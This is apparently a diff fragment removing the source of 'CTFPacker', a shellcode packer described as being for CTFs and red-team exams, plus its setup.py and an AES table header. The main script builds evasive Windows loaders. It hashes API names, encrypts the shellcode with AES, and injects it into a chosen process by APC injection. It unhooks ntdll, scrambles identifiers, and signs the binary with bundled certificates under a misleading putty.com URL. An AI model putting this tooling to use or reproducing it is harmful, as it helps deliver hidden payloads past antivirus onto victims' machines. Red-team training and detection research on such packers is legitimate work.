||||
|
||||
print(Colors.green("[i] Stageless Payload selected."))
|
||||
print(Colors.light_yellow("[+] Starting the process..."))
|
||||
|
||||
# We make a temporary folder called ".ctfpacker" and copy the template files to this folder.
|
||||
cr_directory = os.path.dirname(os.path.abspath(__file__))
|
||||
src_directory = resources.files("templates").joinpath("stageless")
|
||||
dst_directory = f'{cr_directory}\\.ctfpacker'
|
||||
|
||||
# Copying the files from the templates folder to the temporary folder
|
||||
try:
|
||||
shutil.copytree(src_directory, dst_directory)
|
||||
except OSError as e:
|
||||
# deleting the folder if it exists
|
||||
if e.errno == errno.EEXIST:
|
||||
shutil.rmtree(dst_directory)
|
||||
shutil.copytree(src_directory, dst_directory)
|
||||
else:
|
||||
print(f"Error: {e}")
|
||||
|
||||
# Parsing the args now
|
||||
if args.payload:
|
||||
|
||||
# We read the shellcode from the file
|
||||
with open(args.payload, "rb") as file:
|
||||
raw_payload = file.read()
|
||||
|
||||
# converting the payload to hex for ease
|
||||
payload = ', '.join(f"0x{b:02x}" for b in raw_payload)
|
||||
|
||||
INITIAL_SEED = random.randint(5, 20)
|
||||
INITIAL_HASH = random.randint(2000, 9000)
|
||||
|
||||
NTDLL_HASH = Hasher.Hasher("NTDLL.DLL", INITIAL_SEED, INITIAL_HASH)
|
||||
KERNEL32_HASH = Hasher.Hasher("KERNEL32.DLL", INITIAL_SEED, INITIAL_HASH)
|
||||
KERNELBASE_HASH = Hasher.Hasher("KERNELBASE.DLL", INITIAL_SEED, INITIAL_HASH)
|
||||
DEBUGACTIVEPROCESSSTOP_HASH = Hasher.Hasher("DebugActiveProcessStop", INITIAL_SEED, INITIAL_HASH)
|
||||
CREATEPROCESSA_HASH = Hasher.Hasher("CreateProcessA", INITIAL_SEED, INITIAL_HASH)
|
||||
NTMAPVIEWOFSECTION_HASH = Hasher.Hasher("NtMapViewOfSection", INITIAL_SEED, INITIAL_HASH)
|
||||
|
||||
# Modifying all .c and .h files in the temporary folder
|
||||
for filename in os.listdir(dst_directory):
|
||||
if filename.endswith(".c") or filename.endswith(".h"):
|
||||
with open(f"{dst_directory}\\{filename}", "r") as file:
|
||||
data = file.readlines()
|
||||
|
||||
for i in range(len(data)):
|
||||
if "#-INITIAL_HASH_VALUE-# " in data[i]:
|
||||
data[i] = data[i].replace("#-INITIAL_HASH_VALUE-#", str(INITIAL_HASH))
|
||||
if "#-INITIAL_SEED_VALUE-#" in data[i]:
|
||||
data[i] = data[i].replace("#-INITIAL_SEED_VALUE-#", str(INITIAL_SEED))
|
||||
if "#-NTDLL_VALUE-#" in data[i]:
|
||||
data[i] = data[i].replace("#-NTDLL_VALUE-#", NTDLL_HASH)
|
||||
if "#-KERNEL32_VALUE-#" in data[i]:
|
||||
data[i] = data[i].replace("#-KERNEL32_VALUE-#", KERNEL32_HASH)
|
||||
if "#-KERNELBASE_VALUE-#" in data[i]:
|
||||
data[i] = data[i].replace("#-KERNELBASE_VALUE-#", KERNELBASE_HASH)
|
||||
if "#-DAPS_VALUE-#" in data[i]:
|
||||
data[i] = data[i].replace("#-DAPS_VALUE-#", DEBUGACTIVEPROCESSSTOP_HASH)
|
||||
if "#-CREATEPROCESSA_VALUE-#" in data[i]:
|
||||
data[i] = data[i].replace("#-CREATEPROCESSA_VALUE-#", CREATEPROCESSA_HASH)
|
||||
if "#-NTMVOS_VALUE-#" in data[i]:
|
||||
data[i] = data[i].replace("#-NTMVOS_VALUE-#", NTMAPVIEWOFSECTION_HASH)
|
||||
|
||||
with open(f"{dst_directory}\\{filename}", "w") as file:
|
||||
file.writelines(data)
|
||||
|
||||
print(Colors.green("[+] Template files modified !"))
|
||||
|
||||
print(Colors.light_yellow("[+] Setting APC injection target process..."))
|
||||
# Handling the target APC injection.
|
||||
if args.format is None or args.format == "EXE":
|
||||
with open(f'{dst_directory}/main.c', 'r') as file:
|
||||
main_data = file.readlines()
|
||||
for i in range(len(main_data)):
|
||||
if "#-TARGET_PROCESS-#" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("#-TARGET_PROCESS-#", args.apc)
|
||||
|
||||
# Writing the data back to the file
|
||||
with open(f'{dst_directory}/main.c', 'w') as file:
|
||||
file.writelines(main_data)
|
||||
|
||||
if args.format == "DLL":
|
||||
with open(f'{dst_directory}/main_dll.c', 'r') as file:
|
||||
main_data = file.readlines()
|
||||
for i in range(len(main_data)):
|
||||
if "#-TARGET_PROCESS-#" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("#-TARGET_PROCESS-#", args.apc)
|
||||
|
||||
# Writing the data back to the file
|
||||
with open(f'{dst_directory}/main_dll.c', 'w') as file:
|
||||
file.writelines(main_data)
|
||||
|
||||
print(Colors.green(f"[+] Target APC injection process set to {args.apc} !"))
|
||||
|
||||
# Handling the case if encryption is wanted
|
||||
if args.encrypt:
|
||||
|
||||
print(Colors.green("[i] Encryption selected."))
|
||||
print(Colors.light_yellow("[+] Encrypting the payload..."))
|
||||
|
||||
enc_payload, key, iv = Encryption.EncryptAES(raw_payload)
|
||||
|
||||
# converting the payload to hex for ease
|
||||
hex_payload = ', '.join(f"0x{b:02x}" for b in enc_payload)
|
||||
|
||||
# We write the key and IV into all files starting with "main"
|
||||
for filename in os.listdir(dst_directory):
|
||||
if filename.startswith("main") and (filename.endswith(".c")):
|
||||
with open(f"{dst_directory}\\{filename}", "r") as file:
|
||||
main_data = file.readlines()
|
||||
|
||||
for i in range(len(main_data)):
|
||||
if "#-KEY_VALUE-#" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("#-KEY_VALUE-#", key)
|
||||
if "#-IV_VALUE-#" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("#-IV_VALUE-#", iv)
|
||||
if "#-PAYLOAD_VALUE-#" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("#-PAYLOAD_VALUE-#", str(hex_payload))
|
||||
|
||||
with open(f"{dst_directory}\\{filename}", "w") as file:
|
||||
file.writelines(main_data)
|
||||
|
||||
print(Colors.green(f"[+] Payload encrypted and saved into payload[] variable in main.c !"))
|
||||
|
||||
# If encryption is not wanted (for whatever reason)
|
||||
if args.encrypt is False:
|
||||
|
||||
print(Colors.green("[i] Encryption not selected."))
|
||||
print(Colors.light_yellow("[+] Compiling the loader..."))
|
||||
|
||||
# We comment out the encryption function in all main .c files
|
||||
for filename in os.listdir(dst_directory):
|
||||
if filename.startswith("main") and (filename.endswith(".c")):
|
||||
with open(f"{dst_directory}\\{filename}", "r") as file:
|
||||
main_data = file.readlines()
|
||||
|
||||
for i in range(len(main_data)):
|
||||
if "#include \"AES_128_CBC.h\"" in main_data[i]:
|
||||
main_data[i] = f"//{main_data[i]}"
|
||||
if "AES_CTX" in main_data[i]:
|
||||
main_data[i] = f"\t//{main_data[i]}"
|
||||
if "uint8_t aes_k[16] = { #-KEY_VALUE-# };" in main_data[i]:
|
||||
main_data[i] = f"//{main_data[i]}"
|
||||
if "uint8_t aes_i[16] = { #-IV_VALUE-# };" in main_data[i]:
|
||||
main_data[i] = f"//{main_data[i]}"
|
||||
if "Starting the decryption..." in main_data[i]:
|
||||
main_data[i] = f"\t//{main_data[i]}"
|
||||
if "pClearText = (PBYTE)malloc(sEncPayload);" in main_data[i]:
|
||||
main_data[i] = f"\t//{main_data[i]}"
|
||||
if "AES_DecryptInit(&ctx, aes_k, aes_i);" in main_data[i]:
|
||||
main_data[i] = f"\t//{main_data[i]}"
|
||||
if "AES_DecryptBuffer(&ctx, pEncPayload, pClearText, sEncPayload);" in main_data[i]:
|
||||
main_data[i] = f"\t//{main_data[i]}"
|
||||
if "Payload decrypted at postion: 0x%p with size of %zu" in main_data[i]:
|
||||
main_data[i] = f"\t//{main_data[i]}"
|
||||
if "if (!APCInjection(hProcess, pClearText, sEncPayload, &pProcess))" in main_data[i]:
|
||||
main_data[i] = f"\tif (!APCInjection(hProcess, (PVOID) pEncPayload, sEncPayload, &pProcess)) {{"
|
||||
if "#-PAYLOAD_VALUE-#" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("#-PAYLOAD_VALUE-#", payload)
|
||||
|
||||
with open(f"{dst_directory}\\{filename}", "w") as file:
|
||||
file.writelines(main_data)
|
||||
|
||||
if args.scramble:
|
||||
|
||||
print(Colors.green("[i] Scrambling selected."))
|
||||
print(Colors.light_yellow("[+] Scrambling the loader..."))
|
||||
|
||||
functions = ["HashStringDjb2A", "GetProcAddressH", "GetModuleHandleH", "MapNtdll", "Unhook", "AES_DecryptInit", "AES_DecryptBuffer",
|
||||
"CreateSuspendedProcess", "APCInjection", "cDAPSu", "cCPAu", "aes_k", "aes_i", "AES_Decrypt", "AES_Encrypt", "AES_EncryptInit",
|
||||
"NTAVM", "NTPVM", "NTWVM", "NTQAT"]
|
||||
scrambled_functions = []
|
||||
|
||||
variables = ["sEncPayload", "pEncPayload", "pClearText", "ctx", "hProcess", "pProcess", "dwSizeOfClearText", "dwOldProtect", "dwProcessId", "payload"]
|
||||
scrambled_variables = []
|
||||
|
||||
alphabet = list("abcdefghijklmnopqrstuvwxyz")
|
||||
used_combos = set()
|
||||
|
||||
# Scrambling the functions
|
||||
for sign in functions + variables:
|
||||
letter = random.choice(alphabet)
|
||||
multiplier = random.randint(1, 128)
|
||||
while (letter, multiplier) in used_combos:
|
||||
letter = random.choice(alphabet)
|
||||
multiplier = random.randint(1, 128)
|
||||
used_combos.add((letter, multiplier))
|
||||
scrambled_sign = letter * multiplier
|
||||
|
||||
if sign in functions:
|
||||
scrambled_functions.append(scrambled_sign)
|
||||
else:
|
||||
scrambled_variables.append(scrambled_sign)
|
||||
|
||||
# Modifying all .c and .h files in the temporary folder
|
||||
for filename in os.listdir(dst_directory):
|
||||
if filename.endswith(".c") or filename.endswith(".h") or filename.endswith(".asm"):
|
||||
with open(f"{dst_directory}\\{filename}", "r") as file:
|
||||
data = file.readlines()
|
||||
|
||||
for i in range(len(data)):
|
||||
if "HashStringDjb2A" in data[i]:
|
||||
data[i] = data[i].replace("HashStringDjb2A", scrambled_functions[0])
|
||||
if "GetProcAddressH" in data[i]:
|
||||
data[i] = data[i].replace("GetProcAddressH", scrambled_functions[1])
|
||||
if "GetModuleHandleH" in data[i]:
|
||||
data[i] = data[i].replace("GetModuleHandleH", scrambled_functions[2])
|
||||
if "MapNtdll" in data[i]:
|
||||
data[i] = data[i].replace("MapNtdll", scrambled_functions[3])
|
||||
if "Unhook" in data[i]:
|
||||
data[i] = data[i].replace("Unhook", scrambled_functions[4])
|
||||
if "AES_DecryptInit" in data[i]:
|
||||
data[i] = data[i].replace("AES_DecryptInit", scrambled_functions[5])
|
||||
if "AES_DecryptBuffer" in data[i]:
|
||||
data[i] = data[i].replace("AES_DecryptBuffer", scrambled_functions[6])
|
||||
if "CreateSuspendedProcess" in data[i]:
|
||||
data[i] = data[i].replace("CreateSuspendedProcess", scrambled_functions[7])
|
||||
if "APCInjection" in data[i]:
|
||||
data[i] = data[i].replace("APCInjection", scrambled_functions[8])
|
||||
if "cDAPSu" in data[i]:
|
||||
data[i] = data[i].replace("cDAPSu", scrambled_functions[9])
|
||||
if "cCPAu" in data[i]:
|
||||
data[i] = data[i].replace("cCPAu", scrambled_functions[10])
|
||||
if "aes_k" in data[i]:
|
||||
data[i] = data[i].replace("aes_k", scrambled_functions[11])
|
||||
if "aes_i" in data[i]:
|
||||
data[i] = data[i].replace("aes_i", scrambled_functions[12])
|
||||
if "AES_Decrypt" in data[i]:
|
||||
data[i] = data[i].replace("AES_Decrypt", scrambled_functions[13])
|
||||
if "AES_Encrypt" in data[i]:
|
||||
data[i] = data[i].replace("AES_Encrypt", scrambled_functions[14])
|
||||
if "AES_EncryptInit" in data[i]:
|
||||
data[i] = data[i].replace("AES_EncryptInit", scrambled_functions[15])
|
||||
if "NTAVM" in data[i]:
|
||||
data[i] = data[i].replace("NTAVM", scrambled_functions[16])
|
||||
if "NTPVM" in data[i]:
|
||||
data[i] = data[i].replace("NTPVM", scrambled_functions[17])
|
||||
if "NTWVM" in data[i]:
|
||||
data[i] = data[i].replace("NTWVM", scrambled_functions[18])
|
||||
if "NTQAT" in data[i]:
|
||||
data[i] = data[i].replace("NTQAT", scrambled_functions[19])
|
||||
|
||||
with open(f"{dst_directory}\\{filename}", "w") as file:
|
||||
file.writelines(data)
|
||||
|
||||
# Modifying the main.c file
|
||||
for filename in os.listdir(dst_directory):
|
||||
if filename.startswith("main") and filename.endswith(".c"):
|
||||
with open(f"{dst_directory}\\{filename}", "r") as file:
|
||||
main_data = file.readlines()
|
||||
|
||||
for i in range(len(main_data)):
|
||||
if "sEncPayload" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("sEncPayload", scrambled_variables[0])
|
||||
if "pEncPayload" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("pEncPayload", scrambled_variables[1])
|
||||
if "pClearText" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("pClearText", scrambled_variables[2])
|
||||
if "ctx" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("ctx", scrambled_variables[3])
|
||||
if "hProcess" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("hProcess", scrambled_variables[4])
|
||||
if "pProcess" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("pProcess", scrambled_variables[5])
|
||||
if "dwSizeOfClearText" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("dwSizeOfClearText", scrambled_variables[6])
|
||||
if "dwOldProtect" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("dwOldProtect", scrambled_variables[7])
|
||||
if "dwProcessId" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("dwProcessId", scrambled_variables[8])
|
||||
if "payload" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("payload", scrambled_variables[9])
|
||||
|
||||
with open(f"{dst_directory}\\{filename}", "w") as file:
|
||||
file.writelines(main_data)
|
||||
|
||||
print(Colors.green("[+] Loader scrambled !"))
|
||||
|
||||
|
||||
if args.format is None or args.format == "EXE":
|
||||
if args.pfx:
|
||||
|
||||
print(Colors.green("[i] Signing selected."))
|
||||
print(Colors.light_yellow("[+] Signing the loader..."))
|
||||
|
||||
osslsigncode_path = str(resources.files("custom_certs").joinpath("osslsigncode.exe"))
|
||||
|
||||
# If the user supplied a PFX file, we use it to sign the loader.
|
||||
if args.pfx is not None:
|
||||
pfx_path = args.pfx
|
||||
else:
|
||||
print(Colors.red("[!] PFX file not found"))
|
||||
sys.exit(1)
|
||||
|
||||
if args.pfx_password:
|
||||
pfx_password = args.pfx_password
|
||||
else:
|
||||
print(Colors.red("[!] PFX password not provided"))
|
||||
sys.exit(1)
|
||||
|
||||
input_binary = "ctfloader.exe"
|
||||
signed_binary = "ctfloader_signed.exe"
|
||||
|
||||
os.system(f"cd {dst_directory} && make clean && make FORMAT=EXE")
|
||||
shutil.move(f"{dst_directory}\\ctfloader.exe", f"ctfloader.exe")
|
||||
|
||||
if os.path.exists("ctfloader_signed.exe"):
|
||||
os.remove("ctfloader_signed.exe")
|
||||
|
||||
subprocess.run([
|
||||
osslsigncode_path,
|
||||
"sign",
|
||||
"-pkcs12", pfx_path,
|
||||
"-pass", pfx_password,
|
||||
"-n", "Signed Loader",
|
||||
"-i", "https://putty.com",
|
||||
"-t", "http://timestamp.sectigo.com",
|
||||
"-in", input_binary,
|
||||
"-out", signed_binary
|
||||
], check=True)
|
||||
|
||||
shutil.rmtree(dst_directory)
|
||||
|
||||
print(Colors.green("[+] Loader signed !"))
|
||||
|
||||
else:
|
||||
|
||||
# Everything has been modified, we can now compile the loader
|
||||
os.system(f"cd {dst_directory} && make clean && make FORMAT=EXE")
|
||||
|
||||
# We move the compiled loader one directory up
|
||||
shutil.move(f"{dst_directory}\\ctfloader.exe", f"ctfloader.exe")
|
||||
|
||||
# We delete the temporary folder
|
||||
shutil.rmtree(dst_directory)
|
||||
|
||||
print(Colors.green("[+] Loader compiled !"))
|
||||
|
||||
print(Colors.green("[+] DONE !"))
|
||||
|
||||
if args.format == "DLL":
|
||||
|
||||
print(Colors.green("[i] DLL format selected."))
|
||||
|
||||
os.system(f"cd {dst_directory} && make clean && make FORMAT=DLL")
|
||||
|
||||
# We move the compiled loader one directory up
|
||||
shutil.move(f"{dst_directory}\\ctfloader.dll", f"ctfloader.dll")
|
||||
|
||||
# We delete the temporary folder
|
||||
shutil.rmtree(dst_directory)
|
||||
|
||||
print(Colors.green("[+] Loader compiled !"))
|
||||
|
||||
print(Colors.green("[+] DONE !"))
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -1,3 +0,0 @@
|
||||
colorama==0.4.6
|
||||
pycryptodome==3.20.0
|
||||
setuptools
|
||||
@@ -1,31 +0,0 @@
|
||||
from setuptools import setup, find_packages
|
||||
|
||||
setup(
|
||||
name='ctfpacker',
|
||||
version='1.0',
|
||||
description='Cross platform (Linux / Windows) shellcode packer for CTFs and pentest / red team exams',
|
||||
long_description=open('README.md').read(),
|
||||
long_description_content_type='text/markdown',
|
||||
url='https://github.com/mochabyte0x/CTFPacker',
|
||||
author='mochabyte0x',
|
||||
author_email='contact@mochabyte.xyz',
|
||||
maintainer='mochabyte0x',
|
||||
license='MIT',
|
||||
install_requires=['colorama',
|
||||
'pycryptodome'],
|
||||
py_modules=['main'],
|
||||
include_package_data=True,
|
||||
packages=find_packages(),
|
||||
package_data={'custom_certs':['cert1.pfx', 'cert2.pfx', 'osslsigncode.exe'],
|
||||
'templates': [
|
||||
'stageless/*',
|
||||
'staged/*'
|
||||
]
|
||||
},
|
||||
entry_points={
|
||||
'console_scripts': [
|
||||
'ctfpacker=main:main'
|
||||
],
|
||||
},
|
||||
platforms=['Linux', 'Windows']
|
||||
)
|
||||
@@ -1,965 +0,0 @@
|
||||
/*
|
||||
|
||||
Original Implementation: https://github.com/halloweeks/AES-128-CBC
|
||||
Modifications from MochaByte to handle data of any size.
|
||||
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2024 Hallo Weeks
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
|
||||
*/
|
||||
|
||||
#include <stdint.h>
|
||||
|
||||
#ifndef __AES_128_CBC_H__
|
||||
#define __AES_128_CBC_H__
|
||||
|
||||
#define AES_BLOCK_SIZE 16
|
||||
#define AES_KEY_SIZE 16
|
||||
|
||||
#define GETU32(in_data) (((unsigned int)(in_data)[0] << 24) ^ \
|
||||
((unsigned int)(in_data)[1] << 16) ^ \
|
||||
((unsigned int)(in_data)[2] << 8) ^ \
|
||||
((unsigned int)(in_data)[3] << 0))
|
||||
|
||||
#define PUTU32(out_data, st) { (out_data)[0] = (unsigned char)((st) >> 24); \
|
||||
(out_data)[1] = (unsigned char)((st) >> 16); \
|
||||
(out_data)[2] = (unsigned char)((st) >> 8); \
|
||||
(out_data)[3] = (unsigned char)((st) >> 0); }
|
||||
|
||||
static const unsigned int Te0[256] =
|
||||
{
|
||||
0xc66363a5U, 0xf87c7c84U, 0xee777799U, 0xf67b7b8dU,
|
||||
0xfff2f20dU, 0xd66b6bbdU, 0xde6f6fb1U, 0x91c5c554U,
|
||||
0x60303050U, 0x02010103U, 0xce6767a9U, 0x562b2b7dU,
|
||||
0xe7fefe19U, 0xb5d7d762U, 0x4dababe6U, 0xec76769aU,
|
||||
0x8fcaca45U, 0x1f82829dU, 0x89c9c940U, 0xfa7d7d87U,
|
||||
0xeffafa15U, 0xb25959ebU, 0x8e4747c9U, 0xfbf0f00bU,
|
||||
0x41adadecU, 0xb3d4d467U, 0x5fa2a2fdU, 0x45afafeaU,
|
||||
0x239c9cbfU, 0x53a4a4f7U, 0xe4727296U, 0x9bc0c05bU,
|
||||
0x75b7b7c2U, 0xe1fdfd1cU, 0x3d9393aeU, 0x4c26266aU,
|
||||
0x6c36365aU, 0x7e3f3f41U, 0xf5f7f702U, 0x83cccc4fU,
|
||||
0x6834345cU, 0x51a5a5f4U, 0xd1e5e534U, 0xf9f1f108U,
|
||||
0xe2717193U, 0xabd8d873U, 0x62313153U, 0x2a15153fU,
|
||||
0x0804040cU, 0x95c7c752U, 0x46232365U, 0x9dc3c35eU,
|
||||
0x30181828U, 0x379696a1U, 0x0a05050fU, 0x2f9a9ab5U,
|
||||
0x0e070709U, 0x24121236U, 0x1b80809bU, 0xdfe2e23dU,
|
||||
0xcdebeb26U, 0x4e272769U, 0x7fb2b2cdU, 0xea75759fU,
|
||||
0x1209091bU, 0x1d83839eU, 0x582c2c74U, 0x341a1a2eU,
|
||||
0x361b1b2dU, 0xdc6e6eb2U, 0xb45a5aeeU, 0x5ba0a0fbU,
|
||||
0xa45252f6U, 0x763b3b4dU, 0xb7d6d661U, 0x7db3b3ceU,
|
||||
0x5229297bU, 0xdde3e33eU, 0x5e2f2f71U, 0x13848497U,
|
||||
0xa65353f5U, 0xb9d1d168U, 0x00000000U, 0xc1eded2cU,
|
||||
0x40202060U, 0xe3fcfc1fU, 0x79b1b1c8U, 0xb65b5bedU,
|
||||
0xd46a6abeU, 0x8dcbcb46U, 0x67bebed9U, 0x7239394bU,
|
||||
0x944a4adeU, 0x984c4cd4U, 0xb05858e8U, 0x85cfcf4aU,
|
||||
0xbbd0d06bU, 0xc5efef2aU, 0x4faaaae5U, 0xedfbfb16U,
|
||||
0x864343c5U, 0x9a4d4dd7U, 0x66333355U, 0x11858594U,
|
||||
0x8a4545cfU, 0xe9f9f910U, 0x04020206U, 0xfe7f7f81U,
|
||||
0xa05050f0U, 0x783c3c44U, 0x259f9fbaU, 0x4ba8a8e3U,
|
||||
0xa25151f3U, 0x5da3a3feU, 0x804040c0U, 0x058f8f8aU,
|
||||
0x3f9292adU, 0x219d9dbcU, 0x70383848U, 0xf1f5f504U,
|
||||
0x63bcbcdfU, 0x77b6b6c1U, 0xafdada75U, 0x42212163U,
|
||||
0x20101030U, 0xe5ffff1aU, 0xfdf3f30eU, 0xbfd2d26dU,
|
||||
0x81cdcd4cU, 0x180c0c14U, 0x26131335U, 0xc3ecec2fU,
|
||||
0xbe5f5fe1U, 0x359797a2U, 0x884444ccU, 0x2e171739U,
|
||||
0x93c4c457U, 0x55a7a7f2U, 0xfc7e7e82U, 0x7a3d3d47U,
|
||||
0xc86464acU, 0xba5d5de7U, 0x3219192bU, 0xe6737395U,
|
||||
0xc06060a0U, 0x19818198U, 0x9e4f4fd1U, 0xa3dcdc7fU,
|
||||
0x44222266U, 0x542a2a7eU, 0x3b9090abU, 0x0b888883U,
|
||||
0x8c4646caU, 0xc7eeee29U, 0x6bb8b8d3U, 0x2814143cU,
|
||||
0xa7dede79U, 0xbc5e5ee2U, 0x160b0b1dU, 0xaddbdb76U,
|
||||
0xdbe0e03bU, 0x64323256U, 0x743a3a4eU, 0x140a0a1eU,
|
||||
0x924949dbU, 0x0c06060aU, 0x4824246cU, 0xb85c5ce4U,
|
||||
0x9fc2c25dU, 0xbdd3d36eU, 0x43acacefU, 0xc46262a6U,
|
||||
0x399191a8U, 0x319595a4U, 0xd3e4e437U, 0xf279798bU,
|
||||
0xd5e7e732U, 0x8bc8c843U, 0x6e373759U, 0xda6d6db7U,
|
||||
0x018d8d8cU, 0xb1d5d564U, 0x9c4e4ed2U, 0x49a9a9e0U,
|
||||
0xd86c6cb4U, 0xac5656faU, 0xf3f4f407U, 0xcfeaea25U,
|
||||
0xca6565afU, 0xf47a7a8eU, 0x47aeaee9U, 0x10080818U,
|
||||
0x6fbabad5U, 0xf0787888U, 0x4a25256fU, 0x5c2e2e72U,
|
||||
0x381c1c24U, 0x57a6a6f1U, 0x73b4b4c7U, 0x97c6c651U,
|
||||
0xcbe8e823U, 0xa1dddd7cU, 0xe874749cU, 0x3e1f1f21U,
|
||||
0x964b4bddU, 0x61bdbddcU, 0x0d8b8b86U, 0x0f8a8a85U,
|
||||
0xe0707090U, 0x7c3e3e42U, 0x71b5b5c4U, 0xcc6666aaU,
|
||||
0x904848d8U, 0x06030305U, 0xf7f6f601U, 0x1c0e0e12U,
|
||||
0xc26161a3U, 0x6a35355fU, 0xae5757f9U, 0x69b9b9d0U,
|
||||
0x17868691U, 0x99c1c158U, 0x3a1d1d27U, 0x279e9eb9U,
|
||||
0xd9e1e138U, 0xebf8f813U, 0x2b9898b3U, 0x22111133U,
|
||||
0xd26969bbU, 0xa9d9d970U, 0x078e8e89U, 0x339494a7U,
|
||||
0x2d9b9bb6U, 0x3c1e1e22U, 0x15878792U, 0xc9e9e920U,
|
||||
0x87cece49U, 0xaa5555ffU, 0x50282878U, 0xa5dfdf7aU,
|
||||
0x038c8c8fU, 0x59a1a1f8U, 0x09898980U, 0x1a0d0d17U,
|
||||
0x65bfbfdaU, 0xd7e6e631U, 0x844242c6U, 0xd06868b8U,
|
||||
0x824141c3U, 0x299999b0U, 0x5a2d2d77U, 0x1e0f0f11U,
|
||||
0x7bb0b0cbU, 0xa85454fcU, 0x6dbbbbd6U, 0x2c16163aU,
|
||||
};
|
||||
|
||||
static const unsigned int Te1[256] =
|
||||
{
|
||||
0xa5c66363U, 0x84f87c7cU, 0x99ee7777U, 0x8df67b7bU,
|
||||
0x0dfff2f2U, 0xbdd66b6bU, 0xb1de6f6fU, 0x5491c5c5U,
|
||||
0x50603030U, 0x03020101U, 0xa9ce6767U, 0x7d562b2bU,
|
||||
0x19e7fefeU, 0x62b5d7d7U, 0xe64dababU, 0x9aec7676U,
|
||||
0x458fcacaU, 0x9d1f8282U, 0x4089c9c9U, 0x87fa7d7dU,
|
||||
0x15effafaU, 0xebb25959U, 0xc98e4747U, 0x0bfbf0f0U,
|
||||
0xec41adadU, 0x67b3d4d4U, 0xfd5fa2a2U, 0xea45afafU,
|
||||
0xbf239c9cU, 0xf753a4a4U, 0x96e47272U, 0x5b9bc0c0U,
|
||||
0xc275b7b7U, 0x1ce1fdfdU, 0xae3d9393U, 0x6a4c2626U,
|
||||
0x5a6c3636U, 0x417e3f3fU, 0x02f5f7f7U, 0x4f83ccccU,
|
||||
0x5c683434U, 0xf451a5a5U, 0x34d1e5e5U, 0x08f9f1f1U,
|
||||
0x93e27171U, 0x73abd8d8U, 0x53623131U, 0x3f2a1515U,
|
||||
0x0c080404U, 0x5295c7c7U, 0x65462323U, 0x5e9dc3c3U,
|
||||
0x28301818U, 0xa1379696U, 0x0f0a0505U, 0xb52f9a9aU,
|
||||
0x090e0707U, 0x36241212U, 0x9b1b8080U, 0x3ddfe2e2U,
|
||||
0x26cdebebU, 0x694e2727U, 0xcd7fb2b2U, 0x9fea7575U,
|
||||
0x1b120909U, 0x9e1d8383U, 0x74582c2cU, 0x2e341a1aU,
|
||||
0x2d361b1bU, 0xb2dc6e6eU, 0xeeb45a5aU, 0xfb5ba0a0U,
|
||||
0xf6a45252U, 0x4d763b3bU, 0x61b7d6d6U, 0xce7db3b3U,
|
||||
0x7b522929U, 0x3edde3e3U, 0x715e2f2fU, 0x97138484U,
|
||||
0xf5a65353U, 0x68b9d1d1U, 0x00000000U, 0x2cc1ededU,
|
||||
0x60402020U, 0x1fe3fcfcU, 0xc879b1b1U, 0xedb65b5bU,
|
||||
0xbed46a6aU, 0x468dcbcbU, 0xd967bebeU, 0x4b723939U,
|
||||
0xde944a4aU, 0xd4984c4cU, 0xe8b05858U, 0x4a85cfcfU,
|
||||
0x6bbbd0d0U, 0x2ac5efefU, 0xe54faaaaU, 0x16edfbfbU,
|
||||
0xc5864343U, 0xd79a4d4dU, 0x55663333U, 0x94118585U,
|
||||
0xcf8a4545U, 0x10e9f9f9U, 0x06040202U, 0x81fe7f7fU,
|
||||
0xf0a05050U, 0x44783c3cU, 0xba259f9fU, 0xe34ba8a8U,
|
||||
0xf3a25151U, 0xfe5da3a3U, 0xc0804040U, 0x8a058f8fU,
|
||||
0xad3f9292U, 0xbc219d9dU, 0x48703838U, 0x04f1f5f5U,
|
||||
0xdf63bcbcU, 0xc177b6b6U, 0x75afdadaU, 0x63422121U,
|
||||
0x30201010U, 0x1ae5ffffU, 0x0efdf3f3U, 0x6dbfd2d2U,
|
||||
0x4c81cdcdU, 0x14180c0cU, 0x35261313U, 0x2fc3ececU,
|
||||
0xe1be5f5fU, 0xa2359797U, 0xcc884444U, 0x392e1717U,
|
||||
0x5793c4c4U, 0xf255a7a7U, 0x82fc7e7eU, 0x477a3d3dU,
|
||||
0xacc86464U, 0xe7ba5d5dU, 0x2b321919U, 0x95e67373U,
|
||||
0xa0c06060U, 0x98198181U, 0xd19e4f4fU, 0x7fa3dcdcU,
|
||||
0x66442222U, 0x7e542a2aU, 0xab3b9090U, 0x830b8888U,
|
||||
0xca8c4646U, 0x29c7eeeeU, 0xd36bb8b8U, 0x3c281414U,
|
||||
